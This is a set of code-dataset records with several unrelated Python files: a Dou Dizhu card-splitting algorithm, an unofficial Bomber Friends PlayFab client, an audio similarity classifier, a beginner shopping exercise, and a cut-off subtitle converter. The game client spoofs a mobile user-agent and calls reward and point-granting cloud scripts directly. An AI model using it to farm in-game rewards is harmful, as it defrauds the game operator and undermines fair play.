defaultdict(list)\n        self._main_lists: Dict[int, List[np.ndarray]] = defaultdict(list)\n        self._output = []\n\n        # max_combo仅保留主要部分，忽略带的部分\n        self._max_combo = deepcopy(last_combo)\n        self._max_main_takes = self._max_combo.cards\n        self._last_combo = last_combo\n\n        self._main_kind = self._max_combo.main_kind\n        self._take_kind = self._max_combo.take_kind\n\n    def get_good_follows(self, state: np.ndarray, last_combo: Combo) \\\n            -> Tuple[List[np.ndarray], int, List[np.ndarray], np.ndarray]:\n        \"\"\"\n        尽量给出较好的跟牌行动。\n        @param state: 当前手牌。\n        @param last_combo: 上一次出牌\n        @return: 四元组：炸弹, 最好的组合 - 最好的跟牌(数字越大越不应该这样拆牌), 好的出牌的数组, 最大的出牌\n        \"\"\"\n        if last_combo.is_rocket():\n            return [], 0, [], np.array([], dtype=int)\n\n        self._process_card(state)\n        self._init(last_combo)\n\n        min_delta_q, self._output = self._thieve_valid_actions()\n\n        self._add_bomb(card_to_di(self._lt2_cards)[0][4])\n\n        self._max_combo.cards = self._max_main_takes\n\n        return self._bomb_list, min_delta_q, self._output, (\n            self._max_main_takes if self._max_combo > last_combo else np.array([], dtype=int))\n\n\nclass PlayHand:\n    \"\"\"\n    出牌时，根据d_actions对手牌进行进一步分类\n    \"\"\"\n\n    def __init__(self, min_solo: int, max_solo: int):\n        \"\"\"\n        初始化Hand类\n        @see PlayDecomposer\n        \"\"\"\n        # solo pair trio bomb\n        self._singles: List[List[np.ndarray]] = [[], [], [], []]\n\n        self._planes: List[np.ndarray] = []\n\n        self._trios_take: List[np.ndarray] = []\n        self._planes_take: List[np.ndarray] = []\n        self._bombs_take: List[np.ndarray] = []\n\n        self._seq_solo5: List[np.ndarray] = []\n        self._other_seq: List[np.ndarray] = []\n        self._has_rocket: bool = False\n\n        self._min_solo: int = min_solo\n        self._max_solo: int = max_solo\n\n    def add_to_hand(self, card_lists: List[Dict[int, List[np.ndarray]]]):\n        \"\"\"将各种类型牌加入到PlayHand中\"\"\"\n        for i in range(4):\n            if card_lists[i].keys():\n                min_delta_q = min(card_lists[i].keys())\n                self._singles[i] = card_lists[i][min_delta_q]\n                self._singles[i].sort(key=MAX_VALUE_CMP)\n\n        # plane\n        if card_lists[4].keys():\n            min_delta_q = min(card_lists[4].keys())\n            self._planes = card_lists[4][min_delta_q]\n            self._planes.sort(key=MAX_VALUE_CMP)\n\n        if card_lists[5].keys():\n            min_delta_q = min(card_lists[5].keys())\n            for action in card_lists[5][min_delta_q]:\n                if action.size == 5:\n                    self._seq_solo5.append(action)\n                else:\n                    self._other_seq.append(action)\n            self._seq_solo5.sort(key=MAX_VALUE_CMP)\n\n        self._merge_main_takes(self._planes, self._planes_take)\n        self._merge_main_takes(self._singles[2], self._trios_take)\n        self._merge_main_takes(self._singles[3], self._bombs_take)\n\n        i = 0\n        while i < len(self._bombs_take):\n            if self._bombs_take[i].size <= 4:\n                del self._bombs_take[i]\n            else:\n                i += 1\n\n    @staticmethod\n    def _choose_takes(take_list: List[np.ndarray], main_part: np.ndarray, take_count: int, split_pair: bool = False):\n\n        main_part = np.concatenate([main_part] + take_list[:take_count])\n        if split_pair:\n            main_part = np.concatenate([main_part, take_list[take_count][:1]])\n\n        return main_part\n\n    def _merge_main_takes(self, main_list: List[np.ndarray], extended_target: List[np.ndarray]):\n        \"\"\"\n        合并主要部分与带的牌\n        \"\"\"\n        main_take_list: List[np.ndarray] = []\n        for main_part in main_list:\n\n            # 防止main part带上自己的部分，例如 7 7 7不能带7\n            temp_pairs: List[np.ndarray] = [i for i in self._singles[1] if i[0] not in np.unique(main_part)]\n            temp_solos: List[np.ndarray] = [i for i in self._singles[0] if\n                                            i[0] not in np.unique(main_part) and i[0] not in np.unique(temp_pairs)]\n\n            take_count: int = math.ceil(main_part.size / 3)\n            if len(temp_solos) >= take_count and len(temp_pairs) >= take_count:\n                if np.mean(temp_solos) > np.mean(temp_pairs):\n                    main_take_list.append(self._choose_takes(temp_solos, main_part, take_count))\n                else:\n                    main_take_list.append(self._choose_takes(temp_pairs, main_part, take_count))\n            elif len(temp_pairs) >= take_count:\n                main_take_list.append(self._choose_takes(temp_pairs, main_part, take_count))\n            elif len(temp_solos) >= take_count:\n                main_take_list.append(self._choose_takes(temp_solos, main_part, take_count))\n            elif len(temp_solos) + 2 * len(temp_pairs) >= take_count:\n                len_solos = len(temp_solos)\n                main_part = self._choose_takes(temp_solos, main_part, len_solos)\n                main_take_list.append(\n                    self._choose_takes(\n                        temp_pairs, main_part, (take_count - len_solos) // 2, (take_count - len_solos) % 2 == 1\n                    )\n                )\n            else:\n                main_take_list.append(main_part)\n        extended_target.extend(main_take_list)\n        extended_target.sort(key=MOST_VALUE_CMP)\n\n    @property\n    def solos(self) -> List[np.ndarray]:\n        \"\"\"单\"\"\"\n        return self._singles[0]\n\n    @property\n    def pairs(self) -> List[np.ndarray]:\n        \"\"\"对\"\"\"\n        return self._singles[1]\n\n    @property\n    def trios(self) -> List[np.ndarray]:\n        \"\"\"三\"\"\"\n        return self._singles[2]\n\n    @property\n    def trios_take(self):\n        \"\"\"三带M\"\"\"\n        return self._trios_take\n\n    @property\n    def bombs(self) -> List[np.ndarray]:\n        \"\"\"炸弹\"\"\"\n        return self._singles[3]\n\n    @property\n    def bombs_take(self) -> List[np.ndarray]:\n        \"\"\"四带2\"\"\"\n        return self._bombs_take\n\n    @property\n    def planes(self) -> List[np.ndarray]:\n        \"\"\"飞机(不带M)\"\"\"\n        return self._planes\n\n    @property\n    def planes_take(self):\n        \"\"\"飞机(带M)\"\"\"\n        return self._planes_take\n\n    @property\n    def other_seq(self) -> List[np.ndarray]:\n        \"\"\"其它各种序列\"\"\"\n        return self._other_seq\n\n    @property\n    def seq_solo5(self) -> List[np.ndarray]:\n        \"\"\"长度为5的单顺\"\"\"\n        return self._seq_solo5\n\n    @property\n    def has_rocket(self) -> bool:\n        \"\"\"是否有王炸\"\"\"\n        return self._has_rocket\n\n    @property\n    def min_solo(self) -> int:\n        \"\"\"强拆的最小单牌\"\"\"\n        return self._min_solo\n\n    @property\n    def max_solo(self) -> int:\n        \"\"\"强拆的最大单牌\"\"\"\n        return self._max_solo\n\n    def __repr__(self):\n        return 'PlayHand: ' + repr(self.__dict__)\n\n\nclass PlayDecomposer(AbstractDecomposer):\n    \"\"\"\n    基于贪心法的斗地主出牌时的拆牌算法。\n    出牌时仅考虑强行拆最大和最小的单牌。其余牌型均按照最佳拆牌给出。\n\n    定义c为一张牌，由斗地主规则可知，c ∈ [1, 15] ∩ Z+。\n    定义s表示当前玩家拥有的所有牌的序列，s = (c1, c2, ..., ci)。\n    定义a为一次符合斗地主规则的出牌的序列，a = (c1, c2, ..., ci)。\n\n    记s下满足规则的所有拆牌动作的集合为A_s，a∈A_s。\n\n    用函数D(a)来计算a拆牌的好坏。D(a)定义如下：\n                D(a) = len(a) + max( max(len(a')) , 1) - 拆炸弹的数量\n\n    其中定义域a∈A，值域D(a)∈Z+, a' ∈ s - a\n    D(a)越大，拆牌越合理。\n\n    算法如下:\n    1. 将s分成连续的若干段、二和大小王，例如(1,1,2,2,5,5,7,10,13,14)分成(1,1,2,2) (5,5,) (7) (10) (13) (14)\n    2. 将大小王和二加入到最佳拆牌序列A‘中\n    3. 对每一段序列si，计算不带牌的动作a的 D(a)\n    4. 合并主牌和带牌的D(a)\n    5. 输出argmax(D(a))\n    \"\"\"\n\n    def __init__(self):\n        self.cards_q_maps_list: Optional[List[Dict[int, List[np.ndarray]]]] = None\n\n    def _map_actions(self, actions, q_list, max_q: int, idx: int):\n        for a, q in zip(actions, q_list):\n            if max_q == q:\n                self.cards_q_maps_list[idx][max_q - q].append(a)\n\n    def get_good_plays(self, cards: np.ndarray) -> PlayHand:\n        \"\"\"\n        获取较好的出牌行动。\n        @param cards: 当前手牌。\n        @return: 包含所有好的出牌类型的数组\n        \"\"\"\n        self._process_card(cards)\n        self.cards_q_maps_list = [defaultdict(list), defaultdict(list),\n                                  defaultdict(list), defaultdict(list),\n                                  defaultdict(list), defaultdict(list)]\n\n        play_hand = PlayHand(np.min(cards), np.max(cards))\n\n        for lt2_state in self._lt2_states:\n            if lt2_state.size > 0:\n                max_q = self._get_all_actions_and_q_lists(lt2_state)\n                i = 0\n                for actions, q_list in zip(self._actions, self._q_lists):\n                    self._map_actions(actions, q_list, max_q, i)\n                    i += 1\n\n        if self.cards_q_maps_list[0].keys() and self.cards_q_maps_list[1].keys():\n            min_key = min(self.cards_q_maps_list[0].keys())\n            min_key2 = min(self.cards_q_maps_list[1].keys())\n            self.cards_q_maps_list[0][min_key] = [i for i in self.cards_q_maps_list[0][min_key] if\n                                                  i[0] not in np.unique(self.cards_q_maps_list[1][min_key2])]\n        if self.card2_count:\n            self.cards_q_maps_list[self.card2_count - 1][0].append(np.array([CARD_2] * self.card2_count))\n\n        if self._ghosts.size == 2:\n            play_hand._has_rocket = True\n        elif self._ghosts.size == 1:\n            self.cards_q_maps_list[0][0].append(self._ghosts)\n\n        play_hand.add_to_hand(self.cards_q_maps_list)\n        return play_hand\n\n\ndef get_next_state(state: np.ndarray, action: np.ndarray) -> np.ndarray:\n    \"\"\"\n    获取状态做出动作后的的下一个状态\n    @param state: 状态\n    @param action: 动作\n    @return: 下一个状态\n    \"\"\"\n    next_state = list(state)\n    for card in action:\n        next_state.remove(card)\n    return np.array(next_state)\n\n\ndef _get_single_actions(state: np.ndarray, length: int) -> List[List[int]]:\n    \"\"\"\n    获取所有单种牌面的动作（单，对，三，炸弹）\n    @param state: 状态\n    @param length: 动作长度\n    \"\"\"\n    result = []\n    last_card = -1\n    state = list(state)\n    for i in range(length, len(state) + 1):\n        if state[i - 1] == state[i - length] and state[i - 1] != last_card and (\n                state.count(state[i - 1]) < 4 or length % 2 == 0):\n            last_card = state[i - 1]\n            result.append([last_card] * length)\n    return result\n\n\ndef _get_seq_actions(card_list: list, kind: int, length: int) -> List[List[int]]:\n    \"\"\"\n    获取顺子/连对/飞机/炸弹的动作（单，对，三，炸弹）\n    \"\"\"\n    result = []\n    for i in range(length - 1, len(card_list)):\n        if card_list[i] == card_list[i - length + 1] + length - 1:\n            result.append(sorted(card_list[i - length + 1: i + 1] * kind))\n    return result\n","repo_name":"jiangyinzuo/du-guai","sub_path":"duguai/ai/decompose.py","file_name":"decompose.py","file_ext":"py","file_size_in_byte":24705,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"41278982284","text":"import requests\n\nclass BomberFriends:\n\tdef __init__(self) -> None:\n\t\tself.api = \"https://e1e6.playfabapi.com\"\n\t\tself.headers = {\n\t\t\t\"user-agent\": \"Dalvik/2.1.0 (Linux; U; Android 7.1.2; ASUS_Z01QD Build/QKQ1.190825.002)\",\n\t\t\t\"x-playfabsdk\": \"Cocos2d-xSDK-0.40.180529\",\n\t\t\t\"content-type\": \"application/json\",\n\t\t\t\"connection\": \"keep_alive\"\n\t\t}\n\t\tself.user_id = None\n\t\tself.title_id = \"E1E6\"\n\t\tself.entity_token = None\n\t\tself.session_ticket = None\n\t\t\n\tdef login_with_custom_id(\n\t\t\tself,\n\t\t\tcustom_id: str,\n\t\t\tcreate_account: bool = True) -> dict:\n\t\tdata = {\n\t\t\t\"CreateAccount\": create_account,\n\t\t\t\"CustomId\": custom_id,\n\t\t\t\"TitleId\": self.title_id\n\t\t}\n\t\tresponse = requests.post(\n\t\t\tf\"{self.api}/Client/LoginWithCustomID\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\t\tif \"SessionTicket\" in response[\"data\"]:\n\t\t\tself.custom_id = custom_id\n\t\t\tself.user_id = response[\"data\"][\"PlayFabId\"]\n\t\t\tself.session_ticket = response[\"data\"][\"SessionTicket\"]\n\t\t\tself.entity_token = response[\"data\"][\"EntityToken\"][\"EntityToken\"]\n\t\t\tself.headers[\"x-authorization\"] = self.session_ticket\n\t\t\tself.headers[\"x-entitytoken\"] = self.entity_token\n\t\treturn response\n\n\tdef get_entity_token(self) -> dict:\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Authentication/GetEntityToken\",\n\t\t\theaders=self.headers).json()\n\n\tdef get_title_data(\n\t\t\tself,\n\t\t\tkeys: list = [\"ScriptVersionAndroid\"]) -> dict:\n\t\tdata = {\n\t\t\t\"Keys\": keys\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/GetTitleData\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef get_server_status(\n\t\t\tself,\n\t\t\tplatform: str = \"android\",\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"getServerStatus\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"platform\": platform\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef update_display_name(self, display_name: str) -> dict:\n\t\tdata = {\n\t\t\t\"DisplayName\": display_name\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/UpdateUserTitleDisplayName\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef get_leaderboard(\n\t\t\tself,\n\t\t\tmax_results_count: int = 100,\n\t\t\tstart_position: int = 0,\n\t\t\tstatistic_name: str = \"Trophies\",\n\t\t\tshow_avatar_url: bool = False,\n\t\t\tshow_banned_until: bool = False,\n\t\t\tshow_campaign_attributions: bool = False,\n\t\t\tshow_contact_email_addresses: bool = False,\n\t\t\tshow_created: bool = False,\n\t\t\tshow_display_name: bool = True,\n\t\t\tshow_last_login: bool = False,\n\t\t\tshow_linked_accounts: bool = False,\n\t\t\tshow_locations: bool = False,\n\t\t\tshow_memberships: bool = False,\n\t\t\tshow_origiation: bool = False,\n\t\t\tshow_push_notification_registrations: bool = False,\n\t\t\tshow_statistics: bool = False,\n\t\t\tshow_tags: bool = True,\n\t\t\tshow_total_value_to_data_in_usd: bool = False,\n\t\t\tshow_values_to_date: bool = False) -> dict:\n\t\tdata = {\n\t\t\t\"MaxResultsCount\": max_results_count,\n\t\t\t\"ProfileConstraints\": {\n\t\t\t\t\"ShowAvatarUrl\": show_avatar_url,\n\t\t\t\t\"ShowBannedUntil\": show_banned_until,\n\t\t\t\t\"ShowCampaignAttributions\": show_campaign_attributions,\n\t\t\t\t\"ShowContactEmailAddresses\": show_contact_email_addresses,\n\t\t\t\t\"ShowCreated\": show_created,\n\t\t\t\t\"ShowDisplayName\": show_display_name,\n    \t\t\t\"ShowLastLogin\": show_last_login,\n    \t\t\t\"ShowLinkedAccounts\": show_linked_accounts,\n    \t\t\t\"ShowLocations\": show_locations,\n    \t\t\t\"ShowMemberships\": show_memberships,\n    \t\t\t\"ShowOrigination\": show_origiation,\n    \t\t\t\"ShowPushNotificationRegistrations\": show_push_notification_registrations,\n    \t\t\t\"ShowStatistics\": show_statistics,\n    \t\t\t\"ShowTags\": show_tags,\n    \t\t\t\"ShowTotalValueToDateInUsd\": show_total_value_to_data_in_usd,\n    \t\t\t\"ShowValuesToDate\": show_values_to_date\n\t\t\t},\n\t\t\t\"StartPosition\": start_position,\n\t\t\t\"StatisticName\": statistic_name\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/GetLeaderboard\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef claim_season_prize(\n\t\t\tself,\n\t\t\tname: str,\n\t\t\tid: int = 0,\n\t\t\tis_free: bool = True,\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"claimSeasonPrize\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"id\": id,\n\t\t\t\t\"isFree\": is_free,\n\t\t\t\t\"name\": name\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef get_initial_data(\n\t\t\tself,\n\t\t\tversion: int = 756,\n\t\t\tplatform: str = \"android\",\n\t\t\tpd_datas: list = [\"deckslots\", \"dungeonrundata\", \"testidata\"],\n\t\t\trod_datas: list = [\"_clandata\"],\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"getInitialData\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"version\": version,\n\t\t\t\t\"platform\": platform,\n\t\t\t\t\"pddatas\": pd_datas,\n\t\t\t\t\"roddatas\": rod_datas\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef claim_reward(\n\t\t\tself,\n\t\t\tid: int = 0,\n\t\t\treward_spin: bool = False,\n\t\t\tname: str = \"wheel\"\t,\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"claimReward\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"id\": id,\n\t\t\t\t\"reward_spin\": reward_spin,\n\t\t\t\t\"name\": name\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef get_single_player_reward(\n\t\t\tself,\n\t\t\tlevel: int,\n\t\t\ttype: int = 0,\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"getSinglePlayerReward\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"level\": level,\n\t\t\t\t\"type\": 0\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef save_bomber_user_data(\n\t\t\tself,\n\t\t\tdata: str,\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"saveBomberUserData\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"data\": data,\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef start_opening_slot(\n\t\t\tself,\n\t\t\tslot: int,\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"tryStartOpeningSlotChest\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"Slot\": slot\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef open_slot(\n\t\t\tself,\n\t\t\tslot: int,\n\t\t\tcost: int = 0,\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"tryStartOpeningSlotChest\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"Slot\": slot,\n\t\t\t\t\"cost\": cost\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef update_user_data(\n\t\t\tself,\n\t\t\tdata: dict,\n\t\t\tpermission: str = \"Private\") -> dict:\n\t\tdata = {\n\t\t\t\"Data\": data,\n\t\t\t\"Permission\": permission\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/UpdateUserData\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef tutorial_won(\n\t\t\tself,\n\t\t\tstanding: int = 0,\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"tutorialWon\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"standing\": standing\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\n\tdef add_fashion_points(\n\t\t\tself,\n\t\t\tpoints: int,\n\t\t\tad: bool = False,\n\t\t\tgenerate_play_stream_event: bool = False,\n\t\t\trevision_selection: str = \"Live\") -> dict:\n\t\tdata = {\n\t\t\t\"FunctionName\": \"addFashionPoints\",\n\t\t\t\"FunctionParameter\": {\n\t\t\t\t\"points\": points,\n\t\t\t\t\"ad\": ad\n\t\t\t},\n\t\t\t\"GeneratePlayStreamEvent\": generate_play_stream_event,\n\t\t\t\"RevisionSelection\": revision_selection\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/ExecuteCloudScript\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\t\t\n\tdef get_user_data(self, user_id: str) -> dict:\n\t\tdata = {\n\t\t\t\"PlayFabId\": user_id\n\t\t}\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/GetUserData\",\n\t\t\tjson=data,\n\t\t\theaders=self.headers).json()\n\t\n\tdef get_player_statistics(self) -> dict:\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/GetPlayerStatistics\",\n\t\t\theaders=self.headers).json()\n\t\n\tdef get_inventory(self) -> dict:\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/GetUserInventory\",\n\t\t\theaders=self.headers).json()\n\t\n\n\tdef get_catalog_items(self) -> dict:\n\t\treturn requests.post(\n\t\t\tf\"{self.api}/Client/GetCatalogItems\",\n\t\t\theaders=self.headers).json()\n","repo_name":"zeviel/bomber_friends.py","sub_path":"src/bomber_friends.py","file_name":"bomber_friends.py","file_ext":"py","file_size_in_byte":9525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32081428529","text":"import uuid\nfrom pathlib import Path\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\n\nfrom commons import CONFIGS_DIR, STATES_DIR\nfrom configuration import *\nfrom dataset_transforms import TransformsComposer, ToTensor, Rescale\nfrom classifier import Classifier\nfrom data_loader import DataLoader\nfrom m5 import M5\nfrom siamese import Siamese\nfrom similarity_classifier import SimilarityClassifier\nfrom similarity_dataset import SimilarityDataset\nfrom utils import create_results_directories\nfrom sample_logger import SampleLogger\n\nCONFIG_FILENAME = 'config.json'\nRESULTS_DIR = 'siamese_results/'\nSAMPLE_LOGGER_FILE = 'samples.json'\n\n\ndef main():\n    config_filename = Path.cwd().joinpath(CONFIGS_DIR).joinpath(CONFIG_FILENAME)\n    config = Configuration(config_filename)\n\n    batch_size = 4\n    epochs = 4\n\n    results_dir_path = Path.cwd().joinpath(RESULTS_DIR)\n    current_run_path = create_results_directories(results_dir_path)\n\n    sample_logger_path = Path.cwd().joinpath(current_run_path).joinpath(SAMPLE_LOGGER_FILE)\n    sample_logger = SampleLogger(sample_logger_path)\n\n    transforms = TransformsComposer([Rescale(output_size=10000), ToTensor()])\n\n    encoder = LabelEncoder()\n\n    data_loader = DataLoader(config)\n    x_train, y_train = data_loader.get_train_set()\n    encoder.fit(y_train)\n\n    classes = encoder.classes_\n    classes_map = {}\n    for i, category in enumerate(classes):\n        classes_map[i] = category\n    print(classes_map)\n\n    y_train = encoder.transform(y_train)\n    train_dataset = SimilarityDataset(x_train, y_train, classes_map, sample_logger, transforms)\n\n    x_test, y_test = data_loader.get_test_set()\n    y_test = encoder.transform(y_test)\n    test_dataset = SimilarityDataset(x_test, y_test, classes_map, sample_logger, transforms)\n\n    model = Siamese()\n\n    states_dir = Path.cwd().joinpath(STATES_DIR)\n    state_filename = f'{uuid.uuid1()}_state_{epochs}_epochs.pth'\n    state_path = current_run_path.joinpath('best_snapshot').joinpath(state_filename)\n\n    classifier = SimilarityClassifier(model=model, state_path=state_path)\n\n    # Fit model on data\n    train_loss_history, val_loss_history = classifier.fit(train_dataset, batch_size=batch_size, epochs=epochs,\n                                                          validation_data=test_dataset)\n\n    sample_logger.save()\n\n    # plt.figure()\n    # plt.title(f'Model Loss for {epochs} epochs')\n    # plt.xlabel('epoch')\n    # plt.ylabel('loss')\n    # plt.plot(train_loss_history, label='train')\n    # plt.plot(val_loss_history, label='test')\n    # plt.legend()\n    # plt.show()\n\n    predictions_path = Path.cwd().joinpath('./predicted.csv')\n    validation_dataset = SimilarityDataset(x_test, y_test, classes_map, sample_logger, transforms)\n    validation_model = Siamese(num_classes=len(classes_map))\n    validation_classifier = SimilarityClassifier(validation_model, state_path=state_path)\n    validation_classifier.predict(validation_dataset, batch_size=batch_size, output_filepath=predictions_path)\n\n\nif __name__ == '__main__':\n    main()","repo_name":"Amnonop/voice-corruption-classifier","sub_path":"run_similarity.py","file_name":"run_similarity.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44607233294","text":"soma = cont = cont_mil = menor = 0\nbarato = ''\nprint('-' * 40)\nprint('\\tLOJA DO JENA')\nprint('-' * 40)\nwhile True:\n    nome = str(input('Nome do Produto: '))\n    preco = int(input('Preço: R$ '))\n    cont += 1\n    soma += preco\n    if preco >= 1000:\n        cont_mil += 1\n    if cont == 1 or preco < menor:  # maneira simplificada\n        menor = preco\n        barato = nome\n    continuar = ' '\n    while continuar not in 'SN':\n        continuar = str(input('Quer continuar? [S/N] ')).strip().upper()[0]\n    if continuar == 'N':\n        break\nprint('{:-^40}'.format(' FIM DO PROGRAMA '))\nprint(f'O total da compra foi R${soma:.2f}')\nprint(f'Temos {cont_mil} produtos custando mais de R$1000.00')\nprint(f'O produto mais barato foi {barato} que custa R${menor:.2f}')\nprint()\n\nprodutos = []  # type: list\nprecos = []  # type: list\nwhile True:\n    produto = str(input('Nome do produto: '))\n    preco = int(input('Preço: R$ '))\n    produtos.append(produto)\n    precos.append(preco)\n    continuar = ' '\n    while continuar not in 'SN':\n        continuar = str(input('Quer continuar? [S/N] ')).strip().upper()[0]\n    if continuar == 'N':\n        break\nprint('{:-^40}'.format(' FIM DO PROGRAMA '))\nprint(f'O total da compra foi R${sum(precos):.2f}')\nprint(f'Temos {len([i for i in precos if i > 1000])} produto(s) custando mais que R$1.000,00')  # noqa\nprint(f'O produto mais barato foi {produtos[precos.index(min(precos))]} e custou R${min(precos)}')  # noqa\n","repo_name":"JenaCarry/Curso-Python","sub_path":"desafios/desafio070.py","file_name":"desafio070.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13913181820","text":"#!/usr/bin/env python3\n\n'''\n  Python script to convert YouTube XML subtitles to SRT format\n  It might be neater to use an XML library but I want to avoid \n  external dependencies, and pretending that it's not XML, it\n  resembles a fairly simple text file.\n  \n  Owain Kenway\n'''\n\n# Convert a numeric time in ms to format used in SRT\n# timestamp - the time in ms since start\n# delta - extra time for calculating durations.\ndef timeconvert(timestamp=0, delta=0):\n    wn = timestamp + delta\n    hours = int(wn/(3600 * 1000))\n    wn = wn - (hours * 3600 * 1000)\n    minutes = int(wn/(60 * 1000))\n    wn = wn - (minutes*60*1000)\n    seconds = int(wn/1000)\n    ms = wn-(seconds * 1000)\n\n    return (str(hours) + \":\" + str(minutes) + \":\" + str(seconds) + \",\" + str(ms))\n\n# Generate a title timestamp\n# SRT format for time is:\n# HH:mm:ss,ms --> HH:mm:ss,ms\ndef gents(timestamp=0, duration=0):\n\n    b = timeconvert(timestamp, 0)\n    e = timeconvert(timestamp, duration)\n\n    return(b + \" --> \" + e)\n\n# Generate a title from an XML line\n# SRT format is:\n# counter\n# HH:mm:ss,ms --> HH:mm:ss,ms\n# text\n# \\n\ndef processline(line=\"\", counter=0):\n\n# ignore empty lines\n    if line.strip() == \"\" :\n        return \"\"\n\n    t = 0\n    d = 0\n    text=\"\"\n\n# Tidy line\n    line = line.strip()\n    if (line[0:2] == \"<p\"):\n        line = line[2:]\n    if 